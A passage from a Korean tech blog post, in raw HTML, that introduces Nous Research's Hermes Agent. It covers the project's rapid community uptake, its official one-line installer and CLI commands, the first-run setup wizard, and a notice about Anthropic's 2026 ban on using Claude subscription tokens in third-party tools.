&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;기여자&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://github.com/NousResearch/hermes-agent/graphs/contributors&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;254&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;최신 릴리즈&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://github.com/NousResearch/hermes-agent/releases/tag/v2026.4.8&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Hermes Agent v0.8.0 (v2026.4.8)&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;라이선스&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;MIT&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;주 언어&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Python&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;저장소 토픽 태그에는 &lt;code&gt;anthropic&lt;/code&gt;, &lt;code&gt;claude&lt;/code&gt;, &lt;code&gt;openai&lt;/code&gt;, &lt;code&gt;codex&lt;/code&gt;, &lt;code&gt;openclaw&lt;/code&gt;, &lt;code&gt;nous-research&lt;/code&gt; 등이 포함되어 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;커뮤니티 반응 : 두 달 만에 35,000 스타를 받은 이유&lt;/h3&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2010&quot; data-origin-height=&quot;1070&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/siMM1/dJMcadatzZh/JABKTwUQHOCPkxAfT9T6s1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/siMM1/dJMcadatzZh/JABKTwUQHOCPkxAfT9T6s1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/siMM1/dJMcadatzZh/JABKTwUQHOCPkxAfT9T6s1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FsiMM1%2FdJMcadatzZh%2FJABKTwUQHOCPkxAfT9T6s1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2010&quot; height=&quot;1070&quot; data-origin-width=&quot;2010&quot; data-origin-height=&quot;1070&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;Hermes Agent는 2026년 2월 25일 v0.1.0 출시 이후 두 달 만에 35,000개 이상의 GitHub 스타를 기록했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;단순한 인기가 아니라, 오픈소스 AI 커뮤니티에서 &quot;이 방향이 맞다&quot;는 신호가 집단적으로 터져 나온 결과다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;공식 론칭과 즉각적 바이럴&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;@NousResearch가 &lt;a href=&quot;https://x.com/NousResearch/status/2026758996107898954&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;공식 론칭 트윗&lt;/a&gt;에서 &quot;Meet Hermes Agent, the open source agent that grows with you&quot;라는 메시지를 올리자마자 커뮤니티가 반응했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;AI 전문 유튜버 Wes Roth는 다음 날 &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://x.com/WesRoth/status/2026960434650075512&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;상세 분석 게시물&lt;/a&gt;에서 &quot;unlike standard stateless bots, Hermes Agent features a multi-level memory system paired with persistent dedicated machine access(일반적인&amp;nbsp;stateless&amp;nbsp;봇과&amp;nbsp;달리,&amp;nbsp;Hermes&amp;nbsp;Agent는&amp;nbsp;다단계&amp;nbsp;메모리&amp;nbsp;시스템과&amp;nbsp;지속적인&amp;nbsp;전용&amp;nbsp;머신&amp;nbsp;접근&amp;nbsp;기능을&amp;nbsp;제공합니다.)&quot;라며 기존 에이전트와의 차별점을 부각했다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1980&quot; data-origin-height=&quot;1078&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Mw4Ka/dJMcagZnQOa/IU5tjsz6klRGnvnk7QsJ2k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Mw4Ka/dJMcagZnQOa/IU5tjsz6klRGnvnk7QsJ2k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Mw4Ka/dJMcagZnQOa/IU5tjsz6klRGnvnk7QsJ2k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FMw4Ka%2FdJMcagZnQOa%2FIU5tjsz6klRGnvnk7QsJ2k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1980&quot; height=&quot;1078&quot; data-origin-width=&quot;1980&quot; data-origin-height=&quot;1078&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;OpenRouter &quot;trending all week&quot;&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;출시 직후 OpenRouter가 &quot;Hermes Agent가 이번 주 내내 트렌딩 중이며 여러 순위에 올라 있다&quot;고 공식 확인했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;유료 API 연동 기반의 실제 사용량 급증을 의미한다. 단순 스타가 아닌 실사용 트래픽이 급증했다는 외부 검증이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;해커톤 187개 제출 &amp;mdash; 플랫폼으로 확장되는 신호&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;출시 한 달여 만에 개최된 해커톤에 187개 프로젝트가 제출됐다($11,750 상금).&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;브라우저 사이드카 확장, 재귀적 LoRA 자가개선, 인지 압축 스킬 등 단순 사용을 넘어 플랫폼으로서 확장되고 있음을 보여준다. NousResearch는 &quot;Thank you to all 187 submitters. We loved seeing the range of domains and all of the uses for Hermes Agent you found that we could never have designed around(187명의&amp;nbsp;모든&amp;nbsp;제출자분들께&amp;nbsp;감사드립니다.&amp;nbsp;여러분이&amp;nbsp;발견해주신&amp;nbsp;다양한&amp;nbsp;도메인과&amp;nbsp;Hermes&amp;nbsp;Agent의&amp;nbsp;활용&amp;nbsp;사례들을&amp;nbsp;보는&amp;nbsp;것이&amp;nbsp;정말&amp;nbsp;즐거웠습니다.&amp;nbsp;저희는&amp;nbsp;절대&amp;nbsp;상상도&amp;nbsp;못&amp;nbsp;했던&amp;nbsp;그런&amp;nbsp;용도들이었어요.)&quot;이라고 밝혔다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;OpenClaw 사용자의 이전 &amp;mdash; &quot;그냥 된다&quot;&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;커뮤니티에서 가장 주목받는 흐름은 기존 OpenClaw 사용자의 대거 이전이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&quot;I switched to Hermes and honestly so far so good! I migrated my crons, memories and keys in one night. That just works(Hermes로 바꿨는데, 솔직히 지금까지는 정말 좋네요! crons, memories, keys까지 하룻밤 만에 다 옮겼어요. 그냥 잘 됩니다.)&quot;라는 후기가 반복 등장했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://thenewstack.io/persistent-ai-agents-compared/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;The New Stack 비교 분석&lt;/a&gt;은 OpenClaw가 잦은 업데이트로 기존 설정을 자주 깨뜨리는 반면, Hermes는 더 안정적이라는 사용자 경험을 구체적으로 기록했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Kevin Simback은 &quot;내가 Hermes의 우위를 확신하지 못했던 이유는 OpenClaw 커뮤니티의 강점 때문이었는데, 이제는 자신 있게 말할 수 있다 &amp;mdash; Hermes 커뮤니티가 압도적&quot;이라고 밝혔다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;비기술 사용자도 진입 가능 &amp;mdash; &quot;나 같은 사람을 위해 만들어진 것 같다&quot;&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;v0.4.0 업데이트 이후 &quot;코드 없이, 복잡한 설정 없이, 그냥 더 나아졌다&quot;는 비기술 사용자의 후기가 이어졌다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;코딩 없이도 쓸 수 있다는 점이 개발자 외 사용자에게도 문턱을 낮춘다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(출처: &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://www.buildmvpfast.com/blog/hermes-agent-v04-open-source-agent-infrastructure-2026&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;buildmvpfast.com &amp;mdash; v0.4.0 분석&lt;/a&gt;)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;반복 작업에서의 실측 효과&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;The New Stack 분석에 따르면, Hermes가 동일 리서치 작업에서 스킬을 자동 생성한 이후 약 40% 속도 향상이 보고됐다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;스킬 학습 전후의 속도 차이가 실측으로 확인된 사례다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(출처: &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://thenewstack.io/persistent-ai-agents-compared/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;The New Stack &amp;mdash; OpenClaw vs. Hermes Agent 비교&lt;/a&gt;)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 2 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;2. 설치 및 시작하기&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;원라이너 설치&lt;/h3&gt;
&lt;pre class=&quot;bash&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;curl -fsSL https://raw.githubusercontent.com/NousResearch/hermes-agent/main/scripts/install.sh | bash&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 한 줄이 전부다. 스크립트를 열어보면 순차적으로 꽤 많은 것을 처리한다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2014&quot; data-origin-height=&quot;1106&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b04vHY/dJMcagyjirf/1lyXBb1KxOEeXb90mrKPKk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b04vHY/dJMcagyjirf/1lyXBb1KxOEeXb90mrKPKk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b04vHY/dJMcagyjirf/1lyXBb1KxOEeXb90mrKPKk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb04vHY%2FdJMcagyjirf%2F1lyXBb1KxOEeXb90mrKPKk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2014&quot; height=&quot;1106&quot; data-origin-width=&quot;2014&quot; data-origin-height=&quot;1106&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;install.sh가 하는 일&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;스크립트가 알아서 &lt;b&gt;uv&lt;/b&gt;(패키지 매니저), &lt;b&gt;Python 3.11&lt;/b&gt;, &lt;b&gt;Node.js 22 LTS&lt;/b&gt;까지 깔아준다. &lt;b&gt;ripgrep&lt;/b&gt;이나 &lt;b&gt;ffmpeg&lt;/b&gt; 같은 부수 도구도 OS에 맞는 패키지 매니저를 찾아서 설치한다. Git clone은 SSH를 먼저 시도하고, 안 되면 HTTPS로 넘어간다. 가상환경도 자동 생성되고, systemd gateway 서비스도 원하면 함께 설치된다. 한마디로, curl 한 줄 치면 나머지는 스크립트가 처리한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;지원 플랫폼&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Linux, macOS, WSL2에서 동작한다. Windows 네이티브는 안 된다. install.sh가 Windows를 감지하면 PowerShell 인스톨러로 안내하고 멈춘다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;핵심 CLI 명령&lt;/h3&gt;
&lt;pre class=&quot;autoit&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;hermes          # 인터랙티브 CLI 시작
hermes update   # 최신 버전으로 업데이트
hermes model    # LLM 공급자 선택
hermes tools    # 도구 설정 (Image Generation 등 외부 공급자 연결)
hermes gateway  # 메시징 플랫폼 연결
hermes setup    # 전체 설정 마법사
hermes auth     # 자격증명 관리 (v0.8.0에서 구 'hermes login' 대체)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;hermes setup&lt;/code&gt;은 설정 마법사로, v0.7.0에서 커스텀 엔드포인트를 덮어쓰지 않도록 개선됐다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;첫 실행 : 설치 후 실제 흐름&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;설치 후 실제로 겪게 되는 흐름을 정리한다. (출처: &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://hermes-agent.nousresearch.com/docs/getting-started/quickstart/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Hermes Quickstart 문서&lt;/a&gt;)&lt;/p&gt;
&lt;pre class=&quot;jboss-cli&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;# 1. 설치
curl -fsSL https://raw.githubusercontent.com/NousResearch/hermes-agent/main/scripts/install.sh | bash
# &amp;rarr; Done: 77 new, 0 updated, 0 unchanged. 77 total bundled.
# &amp;rarr; Skills synced to ~/.hermes/skills/
source ~/.zshrc    # 또는 source ~/.bashrc

# 2. 첫 실행 &amp;rarr; Setup Wizard 자동 시작
hermes
# &amp;rarr; Starting setup wizard...
#
# &quot;How would you like to set up Hermes?&quot;
#   &amp;rarr; Quick setup &amp;mdash; provider, model &amp;amp; messaging (recommended)
#      Full setup &amp;mdash; configure everything
#
# Quick setup: 공급자&amp;middot;모델 선택만 완료하면 바로 시작
# Full setup: 터미널 백엔드&amp;middot;메모리&amp;middot;압축 등 세부 설정까지 진행
#
# Quick setup &amp;rarr; &quot;Select provider:&quot; 목록
#   &amp;rarr; Nous Portal (Nous Research subscription)
#      OpenRouter (100+ models, pay-per-use)
#      Anthropic (Claude models &amp;mdash; API key or Claude Code)  &amp;larr; ⚠ 구독 토큰 사용 금지 (2026-04-04~), API 키만 허용
#      OpenAI Codex
#      Qwen OAuth (reuses local Qwen CLI login)
#      GitHub Copilot (uses GITHUB_TOKEN or gh auth token)
#      Hugging Face Inference Providers (20+ open models)
#      More providers...
#
# ⚠ 2026-04-04부터 Claude Code 구독 토큰의 3자 서비스 사용이 금지됐다.
#    Hermes에서 Anthropic 모델을 쓰려면 API 키(console.anthropic.com)를 발급받아야 한다.
#
# [선택사항] OpenClaw가 설치된 경우에만 표시 &amp;mdash; 없어도 무관
# &amp;rarr; &quot;OpenClaw Installation Detected&quot;
#    Found OpenClaw data at ~/.openclaw
# &amp;rarr; &quot;Would you like to import from OpenClaw? [Y/n]:&quot;
#    Y: 메모리&amp;middot;스킬&amp;middot;크론&amp;middot;API 키 자동 이전 / N 또는 미설치: 다음 단계로

# 3. 바로 사용할 수 있는 기본 기능
❯ 현재 디스크 사용량 상위 5개 디렉토리 보여줘    # 터미널 명령 실행
❯ /help                                          # 슬래시 명령 목록
❯ /personality pirate                            # 페르소나 변경

# 4. 세션 이어가기
hermes -c           # 가장 최근 세션 재개&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;/&lt;/code&gt;를 입력하면 자동완성이 뜨며, &lt;code&gt;/help&lt;/code&gt;, &lt;code&gt;/tools&lt;/code&gt;, &lt;code&gt;/model&lt;/code&gt; 등 슬래시 명령을 사용할 수 있다. 멀티라인 입력은 &lt;code&gt;Alt+Enter&lt;/code&gt; 또는 &lt;code&gt;Ctrl+J&lt;/code&gt;다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;ex) 설치 예시&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1038&quot; data-origin-height=&quot;404&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bkaMtF/dJMcajoc2CB/4R6tq0Kf5SDNZJ4O03sXI1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bkaMtF/dJMcajoc2CB/4R6tq0Kf5SDNZJ4O03sXI1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bkaMtF/dJMcajoc2CB/4R6tq0Kf5SDNZJ4O03sXI1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbkaMtF%2FdJMcajoc2CB%2F4R6tq0Kf5SDNZJ4O03sXI1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;503&quot; height=&quot;196&quot; data-origin-width=&quot;1038&quot; data-origin-height=&quot;404&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- &lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;OpenClaw 연동 여부에 따라 OpenClaw에 되어있는 설정을 가져 갈 수 있는것으로 보인다.&lt;/span&gt;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;964&quot; data-origin-height=&quot;608&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/oUpT7/dJMcagSDK1T/rwfkpfJOouSAv9dTbSq2pk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/oUpT7/dJMcagSDK1T/rwfkpfJOouSAv9dTbSq2pk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/oUpT7/dJMcagSDK1T/rwfkpfJOouSAv9dTbSq2pk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FoUpT7%2FdJMcagSDK1T%2FrwfkpfJOouSAv9dTbSq2pk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;500&quot; height=&quot;315&quot; data-origin-width=&quot;964&quot; data-origin-height=&quot;608&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- quick setup 으로 진행&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;890&quot; data-origin-height=&quot;186&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cYoaLV/dJMcaaLEGGT/cU2bzccOGPSnijXD72N1G0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cYoaLV/dJMcaaLEGGT/cU2bzccOGPSnijXD72N1G0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cYoaLV/dJMcaaLEGGT/cU2bzccOGPSnijXD72N1G0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcYoaLV%2FdJMcaaLEGGT%2FcU2bzccOGPSnijXD72N1G0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;536&quot; height=&quot;112&quot; data-origin-width=&quot;890&quot; data-origin-height=&quot;186&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 15px 0; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;⚠ 주의: Claude Code 구독 토큰의 3자 서비스 사용 금지 (2026-04-04 시행)&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Anthropic은 2026년 4월 4일부터 Claude Free/Pro/Max 구독의 OAuth 토큰을 Hermes Agent, OpenClaw 등 제3자 도구에서 사용하는 것을 &lt;b&gt;정책 위반&lt;/b&gt;으로 규정하고 기술적 차단을 적용했다. 구독 토큰은 Claude.ai 웹과 Claude Code 공식 CLI에서만 사용할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Hermes에서 Anthropic 모델을 쓰려면 &lt;b&gt;API 키 방식&lt;/b&gt;(&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://console.anthropic.com/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;console.anthropic.com&lt;/a&gt;에서 발급, 종량제)을 사용해야 한다. 위반 시 사전 통보 없이 계정이 정지될 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(출처: &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://www.theregister.com/2026/04/06/anthropic_closes_door_on_subscription/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;The Register&lt;/a&gt;, &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://techcrunch.com/2026/04/04/anthropic-says-claude-code-subscribers-will-need-to-pay-extra-for-openclaw-support/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;TechCrunch&lt;/a&gt;)&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 나의 경우 Anthropic - claude code 선택 (아래는 정책 변경 전 테스트 시점의 스크린샷이다)&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;838&quot; data-origin-height=&quot;344&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cE06uX/dJMcaipn5tv/HRIETDjKrFTFkaWXwY2Ekk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cE06uX/dJMcaipn5tv/HRIETDjKrFTFkaWXwY2Ekk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cE06uX/dJMcaipn5tv/HRIETDjKrFTFkaWXwY2Ekk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcE06uX%2FdJMcaipn5tv%2FHRIETDjKrFTFkaWXwY2Ekk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;468&quot; height=&quot;192&quot; data-origin-width=&quot;838&quot; data-origin-height=&quot;344&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 구독모델 선택&lt;/p&gt;
